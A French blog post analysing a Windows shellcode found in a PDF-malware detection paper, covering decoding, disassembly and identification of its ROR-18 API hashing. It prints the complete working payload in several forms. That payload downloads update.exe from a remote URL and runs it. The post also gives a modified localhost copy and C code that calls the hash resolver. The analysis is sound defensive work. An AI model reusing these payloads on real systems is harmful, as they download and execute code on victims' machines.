lundi 20 mai 2019

Analyse d'un shellcode Ror 18 Additive


I.    Introduction

Lors de notre étude sur les techniques de détection de document pdf malveillant. Nous somme arrivé sur un document "DETECTING PDF JAVASCRIPT MALWARE USING CLONE DETECTION"  ou un shellcode est présent en page 63/93

Référence du document :
https://zdoc.pub/detecting-pdf-javascript-malware-using-clone-detection.html

Nous avons voulu creuser ce shellcode pour voir s'il avait une partie intéressante ou sortant un peu des sentiers battu.


II.    Analyse du shellcode


Cette charge malveillant est  inclus dans un document pdf au vu des explications. Nous somme arrivé sur ce shellcode au format UTF16 ( Javascript ) en lisant la page 63/93 du dit document sur les techniques de détection de javascript malveillant au sein de pdf.

Nous remontons ici, le shellcode au format UTF16 comme dans le document cité

var z =
'\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE
\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08
\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B
\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084
\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C
\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D
\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF
\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA
\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8
\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F
\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u772F\u7777\u772E\u6E61\u732E\u7274\u7461
\u6765\u6F79\u6A62\u6365\u2E74\u6F63?\u6F64\u6E77\u6F6C\u6461\u665F\u6C69\u2E65\u6870\u3F70
\u3D65\u6441\u626F\u2D65\u3032\u3830\u322D\u3939\uFF32\u03CD'

Nous avons donc passé ce shellcode dans notre outil de conversion UTF16 vers Shellcode 

 


 
En basculant en mode Shellcode, nous obtenons le shellcode écrit au  format C
Ce qui sera plus simple pour étudier le code associé 




 
Nous mettons le shellcode code de cette manière en dessous:


\xEB\x46\x5F\x31\xC9\x83\xE9\x01\x89\xFE\x30\xC0\x2C\x01\xF2\xAE
\xFE\x47\xFF\x89\xFB\x30\xC0\x2C\x01\xF2\xAE\xFE\x47\xFF\x89\xFD
\xF2\xAE\xFE\x47\xFF\xEB\x71\x60\x31\xC9\x64\x8B\x71\x30\x8B\x76
\x0C\x8B\x76\x1C\x8B\x5E\x08\x8B\x56\x20\x8B\x36\x66\x39\x4A\x18
\x75\xF2\x89\x5C\x24\x1C\x61\xC3\xEB\x5B\x60\x8B\x6C\x24\x24\x8B
\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB
\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0
\x74\x07\xC1\xCF\x12\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B
\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B
\x01\xE8\x89\x44\x24\x1C\x61\xC3\xEB\x54\x31\xD2\x52\x52\x53\x55
\x52\xFF\xD0\xEB\x1A\xEB\x5D\xE8\x7B\xFF\xFF\xFF\xBA\xE7\xBA\x8B
\xC4\x52\x50\xE8\x92\xFF\xFF\xFF\x31\xD2\x52\xFF\xD0\xEB\x2D\xE8
\x63\xFF\xFF\xFF\xBA\xAA\x6E\x8A\xF3\x52\x50\xE8\x7A\xFF\xFF\xFF
\x31\xD2\x83\xC2\xFF\x83\xEA\xFA\x52\x53\xFF\xD0\xEB\xC9\xBA\x47
\x7D\xC8\xA0\x52\x50\xE8\x60\xFF\xFF\xFF\xEB\xAE\xEB\x5D\xE8\x34
\xFF\xFF\xFF\xBA\x12\xCE\x1A\x09\x52\x50\xE8\x4B\xFF\xFF\xFF\x56
\xFF\xD0\xEB\xDA\xE8\xF9\xFE\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E
\x64\x6C\x6C\xFF\x2E\x2E\x2F\x75\x70\x64\x61\x74\x65\x2E\x65\x78
\x65\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x77\x61\x6E
\x2E\x73\x74\x72\x61\x74\x65\x67\x79\x6F\x62\x6A\x65\x63\x74\x2E
\x63\x6F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x5F\x66\x69\x6C\x65\x2E
\x70\x68\x70\x3F\x65\x3D\x41\x64\x6F\x62\x65\x2D\x32\x30\x30\x38
\x2D\x32\x39\x39\x32\xFF\xCD\x03


 
Maintenant , il ne nous reste plus qu'a le transcrire en assembleur X86.
Pour cela nous utilisons un de nos autres outils "Eazy Shellcode Analyzer X32 V1.7"
Et il ne nous reste plus que à basculer en mode affichage assembleur en cliquant sur le bounton nommé "Asm"



 
Nous mettons le code d'ensemble transcrit en dessous:

00000000:   EB 46                             JMP 46h +46h ->:00000048)
00000002:   5F                                   POP EDI
00000003:   31 C9                             XOR ECX,ECX
00000005:   83 E9 01                        SUB ECX,0x00000001
00000008:   89 FE                             MOV ESI,EDI
0000000A:   30 C0                             XOR AL,AL
0000000C:   2C 01                            SUB AL,01h
0000000E:   F2 AE                             REPNE SCAS BYTE PTR ES:[EDI]
00000010:   FE 47 FF                        INC BYTE PTR [EDI-0x01]
00000013:   89 FB                             MOV EBX,EDI
00000015:   30 C0                             XOR AL,AL
00000017:   2C 01                             SUB AL,01h
00000019:   F2 AE                             REPNE SCAS BYTE PTR ES:[EDI]
0000001B:   FE 47 FF                       INC BYTE PTR [EDI-0x01]
0000001E:   89 FD                             MOV EBP,EDI
00000020:   F2 AE                             REPNE SCAS BYTE PTR ES:[EDI]
00000022:   FE 47 FF                        INC BYTE PTR [EDI-0x01]
00000025:   EB 71                             JMP 71h +71h ->:00000098)
00000027:   60                                   PUSHAD
00000028:   31 C9                             XOR ECX,ECX
0000002A:   64 8B 71 30                  MOV ESI,DWORD PTR FS:[ECX+30h]
0000002E:   8B 76 0C                       MOV ESI,[ESI+0Ch]
00000031:   8B 76 1C                       MOV ESI,[ESI+1Ch]
00000034:   8B 5E 08                       MOV EBX,DWORD PTR [ESI+08h]
00000037:   8B 56 20                        MOV EDX,DWORD PTR [ESI+20h]
0000003A:   8B 36                             MOV ESI,DWORD PTR[ESI]
0000003C:   66 39 4A 18                  CMP WORD PTR[EDX+0x18],CX
00000040:   75 F2                              JNZ F2h (rel8)(-0Eh ->:00000034)
00000042:   89 5C 24 1C                 MOV DWORD PTR[ESP+1Ch],EBX
00000046:   61                                   POPAD
00000047:   C3                                   RET
00000048:   EB 5B                             JMP 5Bh +5Bh ->:000000A5)
0000004A:   60                                   PUSHAD
0000004B:   8B 6C 24 24                 MOV EBP,DWORD PTR [ESP+0x24]
0000004F:   8B 45 3C                        MOV EAX,DWORD PTR [EBP+3Ch]
00000052:   8B 54 05 78                  MOV EDX,DWORD PTR [EBP+EAX*1+0x78]
00000056:   01 EA                             ADD EDX,EBP
00000058:   8B 4A 18                       MOV ECX,[EDX+18h]
0000005B:   8B 5A 20                       MOV EBX,DWORD PTR [EDX+20h]
0000005E:   01 EB                             ADD EBX,EBP
00000060:   E3 34                              JECXZ 34h (-FFFFFFCCh ->:00000096)
00000062:   49                                   DEC ECX
00000063:   8B 34 8B                       MOV ESI,DWORD PTR[EBX+ECX*4]
00000066:   01 EE                              ADD ESI,EBP
00000068:   31 FF                              XOR EDI,EDI
0000006A:   31 C0                             XOR EAX,EAX
0000006C:   FC                                   CLD        // Clear Direction Flag
0000006D:   AC                                  LODSB
0000006E:   84 C0                             TEST AL,AL
00000070:   74 07                              JZ 0x07 (+07h ->:00000079)
00000072:   C1 CF 12                        ROR EDI,12h (18)
00000075:   01 C7                             ADD EDI,EAX
00000077:   EB F4                              JMP F4h (-0Ch ->:0000006D)
00000079:   3B 7C 24 28                  CMP EDI,[ESP+28h]
0000007D:   75 E1                             JNZ E1h (rel8)(-1Fh ->:00000060)
0000007F:   8B 5A 24                        MOV EBX,DWORD PTR [EDX+24h]
00000082:   01 EB                             ADD EBX,EBP
00000084:   66 8B 0C 4B                 MOV CX,WORD PTR DS:[EBX+ECX*2]
00000088:   8B 5A 1C                       MOV EBX,DWORD PTR [EDX+1Ch]
0000008B:   01 EB                             ADD EBX,EBP
0000008D:   8B 04 8B                       MOV EAX,DWORD PTR[EBX+ECX*4]
00000090:   01 E8                              ADD EAX,EBP
00000092:   89 44 24 1C                  MOV DWORD PTR[ESP+1Ch],EAX
00000096:   61                                   POPAD
00000097:   C3                                   RET
00000098:   EB 54                           JMP 54h +54h ->:000000EE)
0000009A:   31 D2                          XOR EDX,EDX
0000009C:   52                                   PUSH EDX
0000009D:   52                                   PUSH EDX
0000009E:   53                                    PUSH EBX
0000009F:   55                                    PUSH EBP
000000A0:   52                                    PUSH EDX
000000A1:   FF D0                          CALL EAX
000000A3:   EB 1A                           JMP 1Ah +1Ah ->:000000BF)
000000A5:   EB 5D                          JMP 5Dh +5Dh ->:00000104)
000000A7:   E8 7B FF FF FF            CALL FFFFFF7Bh (-85h ->:00000027)
000000AC:   BA E7 BA 8B C4          MOV EDX, C48BBAE7h
000000B1:   52                                   PUSH EDX
000000B2:   50                                   PUSH EAX
000000B3:   E8 92 FF FF FF            CALL FFFFFF92h (-6Eh ->:0000004A)
000000B8:   31 D2                             XOR EDX,EDX
000000BA:   52                                   PUSH EDX
000000BB:   FF D0                            CALL EAX
000000BD:   EB 2D                           JMP 2Dh +2Dh ->:000000EC)
000000BF:   E8 63 FF FF FF            CALL FFFFFF63h (-9Dh ->:00000027)
000000C4:   BA AA 6E 8A F3           MOV EDX, F38A6EAAh
000000C9:   52                                   PUSH EDX
000000CA:   50                                   PUSH EAX
000000CB:   E8 7A FF FF FF           CALL FFFFFF7Ah (-86h ->:0000004A)
000000D0:   31 D2                            XOR EDX,EDX
000000D2:   83 C2 FF                       ADD EDX,FFh (ADD(r/m16,imm8))
000000D5:   83 EA FA                       SUB EDX,0xFFFFFFFA
000000D8:   52                                   PUSH EDX
000000D9:   53                                   PUSH EBX
000000DA:   FF D0                            CALL EAX
000000DC:   EB C9                           JMP C9h (-37h ->:000000A7)
000000DE:   BA 47 7D C8 A0          MOV EDX, A0C87D47h
000000E3:   52                                   PUSH EDX
000000E4:   50                                   PUSH EAX
000000E5:   E8 60 FF FF FF            CALL FFFFFF60h (-A0h ->:0000004A)
000000EA:   EB AE                            JMP AEh (-52h ->:0000009A)
000000EC:   EB 5D                           JMP 5Dh +5Dh ->:0000014B)
000000EE:   E8 34 FF FF FF            CALL FFFFFF34h (-CCh ->:00000027)
000000F3:   BA 12 CE 1A 09           MOV EDX, 091ACE12h
000000F8:   52                                   PUSH EDX
000000F9:   50                                   PUSH EAX
000000FA:   E8 4B FF FF FF            CALL FFFFFF4Bh (-B5h ->:0000004A)
000000FF:   56                                   PUSH ESI
00000100:   FF D0                             CALL EAX
00000102:   EB DA                            JMP DAh (-26h ->:000000DE)
00000104:   E8 F9 FE FF FF            CALL FFFFFEF9h (-107h ->:00000002)
00000109:   75 72                              JNZ 72h (rel8)(+72h ->:0000017D)
0000010B:   6C                                 
0000010C:   6D                                 
0000010D:   6F                                  
0000010E:   6E                                  
0000010F:   2E                                  
00000110:   64                                  
00000111:   6C                                  
00000112:   6C                                  
00000113:   FF                                  
00000114:   2E                                  
00000115:   2E                                  
00000116:   2F                                  
00000117:   75 70                              JNZ 70h (rel8)(+70h ->:00000189)
00000119:   64                                  
0000011A:   61                                   POPAD
0000011B:   74 65                             JZ 0x65 (+65h ->:00000182)
0000011D:   2E                                 
0000011E:   65                                  
0000011F:   78 65                              JS 65h (rel8)(+65h ->:00000186)'Saut si drapeau de signe vaut 1 (SF=1)'
00000121:   FF                                  
00000122:   68 74 74 70 3A             PUSH 3A707474h "ttp:" dw:980448372 / {116 116 112 58} / < w:28730 | w:29812 >
00000127:   2F                                  
00000128:   2F                                  
00000129:   77 77                              JA 77h (Jump if Above)(+77h ->:000001A2)
0000012B:   77 2E                             JA 2Eh (Jump if Above)(+2Eh ->:0000015B)
0000012D:   77 61                             JA 61h (Jump if Above)(+61h ->:00000190)
0000012F:   6E                                  
00000130:   2E                                  
00000131:   73 74                              JNB SHORT 74h (-FFFFFF8Ch ->:000001A7)
00000133:   72 61                              JB (rel8) 61h (-FFFFFF9Fh ->:00000196)
00000135:   74 65                              JZ 0x65 (+65h ->:0000019C)
00000137:   67                                  
00000138:   79 6F                              JNS 6Fh (rel8)(+6Fh ->:000001A9)
0000013A:   62                                  
0000013B:   6A 65                             PUSH 65h (101) 'e'
0000013D:   63                                  
0000013E:   74 2E                             JZ 0x2E (+2Eh ->:0000016E)
00000140:   63                                  
00000141:   6F                                  
00000142:   64                                  
00000143:   6F                                  
00000144:   77 6E                             JA 6Eh (Jump if Above)(+6Eh ->:000001B4)
00000146:   6C                                  
00000147:   6F                                  
00000148:   61                                   POPAD
00000149:   64                                  
0000014A:   5F                                   POP EDI
0000014B:   66                                  
0000014C:   69                                  
0000014D:   6C                                 
0000014E:   65                                  
0000014F:   2E                                  
00000150:   70 68                              JO 68h (Jump if overflow)(+68h ->:000001BA)
00000152:   70 3F                              JO 3Fh (Jump if overflow)(+3Fh ->:00000193)
00000154:   65                                  
00000155:   3D 41 64 6F 62            CMP EAX,626F6441h ( 626F6441h ('Adob') Mirror > 'bodA')
0000015A:   65                                  
0000015B:   2D 32 30 30 38            SUB EAX,38303032h
00000160:   2D 32 39 39 32            SUB EAX,32393932h
00000165:   FF CD                            CALL EBP
00000167:   03                                  

 Nous allons basculer en mode "Ascii", pour confirmer que la zone 00000109 à 00000167 est une partie contenant des datas uniquement. Avec comme séparateur 0xFF entre chaque élément.


 
Avec ce listing, nous voyons clairement une utilisation de fonction, situé à l'adresse 0x0000004A
Au travers des zone suivante:

000000AC:   BA E7 BA 8B C4           MOV EDX, C48BBAE7h
000000B1:   52                                    PUSH EDX
000000B2:   50                                    PUSH EAX
000000B3:   E8 92 FF FF FF             CALL FFFFFF92h (-6Eh ->:0000004A)


000000C4:   BA AA 6E 8A F3           MOV EDX, F38A6EAAh
000000C9:   52                                   PUSH EDX
000000CA:   50                                   PUSH EAX
000000CB:   E8 7A FF FF FF           CALL FFFFFF7Ah (-86h ->:0000004A)

En regardant , le bloc pointé à cette adresse que nous avons mis en bleu dans le listing au dessus.

On repère la partie qui est important a regardé, elle correspond au calcul d'un hash par  expérience

0000006D:   AC                                  LODSB
0000006E:   84 C0                             TEST AL,AL
00000070:   74 07                              JZ 0x07 (+07h ->:00000079)
00000072:   C1 CF 12                        ROR EDI,12h (18)
00000075:   01 C7                             ADD EDI,EAX
00000077:   EB F4                              JMP F4h (-0Ch ->:0000006D)

Etant construit avec un ROR (0x12) et suivit d'un ADD, on peut  donc en déduire un type d'algorithme Ror 18 Additive + k . Vu que l'on test via TEST AL,AL avant de continuer on à k qui est de 0
et on est en face d'un algorithme "Ror 18 Additive"

Nous pouvons déduire l'implémentation de la  fonction sur une forme suivante pour la zone en bleu:

DWORD GetProcAddressByHashROR18AdditiveV1(HMODULE hMod,DWORD dwHash)

Nous avons crée un petit testeur, pour valider cela comme vous pouvez le constater sur la capture écran en dessous:
























Nous mettons le code correspondant du bouton "Call"

unsigned char szShellCode_Fn_GetProcAddressByHashROR18AdditiveV1[] =
"\x60\x8B\x6C\x24\x24\x8B"
"\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB"
"\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0"
"\x74\x07\xC1\xCF\x12\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B"
"\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B"
"\x01\xE8\x89\x44\x24\x1C\x61\xC3";

void CAnalyzeAsm_GetProcAddressByHashROR18AdditiveDlg::OnBnClickedBtCall1()
{
            std::string sHash = sApi_GetDlgItemText(this->m_hWnd,IDC_ED_HASHROR18);

            DWORD dwHashRor18Additive = 0xC48BBAE7;   ///Sample hash de l'api 'ExitProcess'
            dwHashRor18Additive = Convert_sHex_To_Int(sHash);

            DWORD dwAddrModuleKernel32Dll =(DWORD)GetModuleHandle("kernel32.dll");
           
            DWORD dwAddrFunction = 0;
             int dwFindAddressFnByDllAndHashRor18Additive= (int)(&szShellCode_Fn_GetProcAddressByHashROR18AdditiveV1[0]);

            _asm
                        {
                                   push dword ptr [dwHashRor18Additive]
                                   push dword ptr [dwAddrModuleKernel32Dll]
                                   call dword ptr [dwFindAddressFnByDllAndHashRor18Additive]
                                   mov dwAddrFunction,eax
                                   add esp,08h
                        }

          std::string sHexResu = Convert_DWORD_To_sHex(dwAddrFunction);
          sApi_SetDlgItemText(this->m_hWnd, IDC_ED_RESU1, sHexResu);
}

Nous avons contrôler cela avec une analyse du processus et des adresse en mémoire des APIs pour notre testeur et utilisé un autre outil maison "Api Hash Predator V1.9" pour lister tous le adresse d'Api présent dans le programme de test. Cela pour valider le hash obtenu

Le principe est simple on positionne la valeur du hash. Ici nous avons pris l'un des hash du shellcode
et nous avons chercher l'adresse obtenu dans la Dll ciblé en mémoire dans le processus

 

 

Nous obtenons que le Hash 0x091ACE12 correspond à l'API "LoadLibraryA". Un dernier teste via un le générateur nous mettons le nom de l'api "LoadLibraryA et calculons le hash  via l'algorithme.
Nous avons l'obtention du même hash 0x091ACE12, en conclusion le bloc cité est bien une fonction

DWORD GetProcAddressByHashROR18AdditiveV1(HMODULE hMod,DWORD dwHash)

Nous avons intégrer les hashs et la signature de la fonction dans notre outil d'analyse de shellcode X32

et repasser le shellcode initial dans l'outil suite à la mise à jour. De là nous avons basculer en mode "Diagram"
ce qui nous donne un listing plus simple



 
Nous remonte le listing obtenu à partir de l'outil en dessous:

00000000:   EB 46                             JMP 46h +46h ->:00000048)
00000002:   5F                                   POP EDI
00000003:   31 C9                             XOR ECX,ECX
00000005:   83 E9 01                        SUB ECX,0x00000001
00000008:   89 FE                             MOV ESI,EDI
0000000A:   30 C0                             XOR AL,AL
0000000C:   2C 01                            SUB AL,01h
0000000E:   F2 AE                             REPNE SCAS BYTE PTR ES:[EDI]
00000010:   FE 47 FF                        INC BYTE PTR[EDI-0x01]
00000013:   89 FB                             MOV EBX,EDI
00000015:   30 C0                             XOR AL,AL
00000017:   2C 01                             SUB AL,01h
00000019:   F2 AE                             REPNE SCAS BYTE PTR ES:[EDI]
0000001B:   FE 47 FF                       INC BYTE PTR[EDI-0x01]
0000001E:   89 FD                             MOV EBP,EDI
00000020:   F2 AE                             REPNE SCAS BYTE PTR ES:[EDI]
00000022:   FE 47 FF                        INC BYTE PTR[EDI-0x01]
00000025:   EB 71                             JMP 71h +71h ->:00000098)
00000027 -> 00000047:  =>HMODULE __declspec(naked) AsmFindKernel32Base_V31(void)
00000048:   EB 5B                             JMP 5Bh +5Bh ->:000000A5)
0000004A -> 00000097:  => DWORD __declspec(naked) GetProcAddressByHashROR18AdditiveV1(HMODULE hMod,DWORD dwHash)
00000098:   EB 54                             JMP 54h +54h ->:000000EE)
0000009A:   31 D2                             XOR EDX,EDX
0000009C:   52                                   PUSH EDX
0000009D:   52                                   PUSH EDX
0000009E:   53                                   PUSH EBX
0000009F:   55                                   PUSH EBP
000000A0:   52                                   PUSH EDX
000000A1:   FF D0                             CALL EAX
000000A3:   EB 1A                             JMP 1Ah +1Ah ->:000000BF)
000000A5:   EB 5D                            JMP 5Dh +5Dh ->:00000104)
000000A7:   E8 7B FF FF FF            CALL FFFFFF7Bh (-85h ->:00000027)
000000AC:   BA E7 BA 8B C4          MOV EDX, C48BBAE7h (C48BBAE7=Hash[ROR18(Additive)]('ExitProcess'))
000000B1:   52                                   PUSH EDX
000000B2:   50                                   PUSH EAX
000000B3:   E8 92 FF FF FF            CALL FFFFFF92h (-6Eh ->:0000004A)
000000B8:   31 D2                             XOR EDX,EDX
000000BA:   52                                   PUSH EDX
000000BB:   FF D0                            CALL EAX
000000BD:   EB 2D                           JMP 2Dh +2Dh ->:000000EC)
000000BF:   E8 63 FF FF FF            CALL FFFFFF63h (-9Dh ->:00000027)
000000C4:   BA AA 6E 8A F3           MOV EDX, F38A6EAAh (F38A6EAA=Hash[ROR18(Additive)]('WinExec'))
000000C9:   52                                   PUSH EDX
000000CA:   50                                   PUSH EAX
000000CB:   E8 7A FF FF FF           CALL FFFFFF7Ah (-86h ->:0000004A)
000000D0:   31 D2                            XOR EDX,EDX
000000D2:   83 C2 FF                       ADD EDX,FFh (ADD(r/m16,imm8))
000000D5:   83 EA FA                       SUB EDX,0xFFFFFFFA
000000D8:   52                                   PUSH EDX
000000D9:   53                                   PUSH EBX
000000DA:   FF D0                            CALL EAX
000000DC:   EB C9                           JMP C9h (-37h ->:000000A7)
000000DE:   BA 47 7D C8 A0          MOV EDX, A0C87D47h (A0C87D47=Hash[ROR18(Additive)]('URLDownloadToFileA'))
000000E3:   52                                   PUSH EDX
000000E4:   50                                   PUSH EAX
000000E5:   E8 60 FF FF FF            CALL FFFFFF60h (-A0h ->:0000004A)
000000EA:   EB AE                            JMP AEh (-52h ->:0000009A)
000000EC:   EB 5D                           JMP 5Dh +5Dh ->:0000014B)
000000EE:   E8 34 FF FF FF            CALL FFFFFF34h (-CCh ->:00000027)
000000F3:   BA 12 CE 1A 09           MOV EDX, 091ACE12h (091ACE12=Hash[ROR18(Additive)]('LoadLibraryA'))
000000F8:   52                                   PUSH EDX
000000F9:   50                                   PUSH EAX
000000FA:   E8 4B FF FF FF            CALL FFFFFF4Bh (-B5h ->:0000004A)
000000FF:   56                                   PUSH ESI
00000100:   FF D0                             CALL EAX
00000102:   EB DA                            JMP DAh (-26h ->:000000DE)
00000104:   E8 F9 FE FF FF            CALL FFFFFEF9h (-107h ->:00000002)
00000109 -> 00000113:  db    'urlmon.dll'
00000113:   FF                                  
00000114 -> 00000121:  db    '../update.exe'
00000121:   FF                                  
00000122 -> 00000165:  db    'http://www.wan.strategyobject.codownload_file.php?e=Adobe-2008-2992'
00000165:   FF CD                            CALL EBP
00000167:   03                                  

Ainsi, nous avons construit un tableau des hashs présent dans ce shellcode

HashRor18Additive
Api Name
0xC48BBAE7
ExitProcess
0xF38A6EAA
WinExec
0x091ACE12
LoadLibraryA
0xA0C87D47
URLDownloadToFileA

III.    Test du shellcode


 Nous avons modifié l'url du shellcode  par "http://127.0.0.1:8089/MalwareSite" pour notre test

\xEB\x46\x5F\x31\xC9\x83\xE9\x01\x89\xFE\x30\xC0\x2C\x01\xF2\xAE\xFE\x47\xFF\x89\xFB\x30\xC0\x2C\x01
\xF2\xAE\xFE\x47\xFF\x89\xFD\xF2\xAE\xFE\x47\xFF\xEB\x71\x60\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B
\x76\x1C\x8B\x5E\x08\x8B\x56\x20\x8B\x36\x66\x39\x4A\x18\x75\xF2\x89\x5C\x24\x1C\x61\xC3\xEB\x5B\x60
\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B
\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x12\x01\xC7\xEB\xF4\x3B\x7C\x24\x28
\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24\x1C
\x61\xC3\xEB\x54\x31\xD2\x52\x52\x53\x55\x52\xFF\xD0\xEB\x1A\xEB\x5D\xE8\x7B\xFF\xFF\xFF\xBA\xE7\xBA
\x8B\xC4\x52\x50\xE8\x92\xFF\xFF\xFF\x31\xD2\x52\xFF\xD0\xEB\x2D\xE8\x63\xFF\xFF\xFF\xBA\xAA\x6E\x8A
\xF3\x52\x50\xE8\x7A\xFF\xFF\xFF\x31\xD2\x83\xC2\xFF\x83\xEA\xFA\x52\x53\xFF\xD0\xEB\xC9\xBA\x47\x7D
\xC8\xA0\x52\x50\xE8\x60\xFF\xFF\xFF\xEB\xAE\xEB\x5D\xE8\x34\xFF\xFF\xFF\xBA\x12\xCE\x1A\x09\x52\x50
\xE8\x4B\xFF\xFF\xFF\x56\xFF\xD0\xEB\xDA\xE8\xF9\xFE\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C
\xFF\x2E\x2E\x2F\x75\x70\x64\x61\x74\x65\x2E\x65\x78\x65\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x37\x2E
\x30\x2E\x30\x2E\x31\x3A\x38\x30\x38\x39\x2F\x4D\x61\x6C\x77\x61\x72\x65\x53\x69\x74\x65\xFF\xCD\x03

pour simuler les actions réalisées par le shellcode, nous avons utiliser un de nos exemples permettant d'exécuter un shellcode (ConstructShellCodePEBMsgBox.exe ) ou dans construire.
Et également un simulateur de site web pour les testes de l'Api " URLDownloadToFileA" ou des PayLoads

 


 lorsque l'on exécute le shellcode, le programme effectue une connexion vers le site et télécharge un programme

 
l'affichage du bouclier n'est pas lié au shellcode, mais à une subtilité de Windows

il est important de rappeler que Windows Vista ou Windows 7, possède un système de détection automatique de droits utilisé par les applications n'ayant de pas manifeste, principalement les installeurs. Il utilise différents systèmes pour le faire:
- Le nom de l'application contient les mots-clés "install," "setup," ou "update."
- Les mots-clés placés dans le fichier dans la version ou dans les fichiers de ressources de l'applications

Cela veut simplement dire si le nom de l'exécutable contient un de ses mots clés, l'icône de l'application sera afficher avec le bouclier d'élévation de droit.

Exemple si le nom aurait été blablaupdatepofpof.exe, il aurait également eu le bouclier sur l'icone de l'application.

IV.    Conclusions


Nous espérons que ces quelques lignes, vous permet de mieux comprendre l'analyse de shellcode et l'extraction de signature ainsi que des hash pouvant être mis en oeuvre.

Les techniques d'analyse statique passe toujours par de grande étape comme la reconversion au format assembleur des shellcodes et le passage part des signatures de bloc pour identifier des fonctions qui sont réutilisé par les développeurs de shellcode permettant de mieux comprendre le rôle du shellcode et aussi identifié des relation entre shellcode ou les sources associés.